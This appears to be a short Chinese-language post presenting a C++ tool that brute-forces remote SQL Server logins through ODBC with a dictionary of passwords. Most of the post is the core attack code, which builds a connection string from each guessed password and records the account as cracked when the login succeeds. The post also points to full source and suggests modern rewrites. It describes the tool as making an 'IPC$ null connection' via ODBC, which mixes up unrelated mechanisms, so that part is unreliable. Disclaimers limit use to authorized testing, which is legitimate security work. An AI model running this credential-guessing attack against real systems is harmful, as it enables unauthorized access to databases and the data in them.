本文提供一個 C++ 控制台程式範例,透過 ODBC API 建立 IPC$ 空連接,並以多執行緒字典攻擊方式嘗試登入遠端 SQL Server,驗證弱密碼帳號。僅供**授權滲透測試、安全稽核**使用,嚴禁非法入侵。
// ODBC 連接字串構造
sprintf(ConnStr, "DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master", target, UserName, pwd);
// 環境與連接控制代碼分配
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, SQL_IS_INTEGER);
SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);
// 嘗試連接
retcode = SQLDriverConnect(hdbc, NULL, ConnStr, strlen(ConnStr), szBuffer, sizeof(szBuffer), &swStrLen, SQL_DRIVER_COMPLETE_REQUIRED);
if (retcode == SQL_SUCCESS || retcode == SQL_SUCCESS_WITH_INFO) {
Cracked = TRUE;
strncpy(passwd, pwd, sizeof(passwd));
SQLDisconnect(hdbc);
}
原文提供完整 `SQLCheck.c` 可於 Windows 2000 + VC++ 6.0 編譯通過。現代環境建議改用 PowerShell / Python (pyodbc) / C# 實作,並加入 TLS 加密連接選項。
未經書面授權對目標系統進行密碼猜測屬違法行為。本文代碼僅供內部安全自查、授權滲透測試使用,作者不承擔任何濫用責任。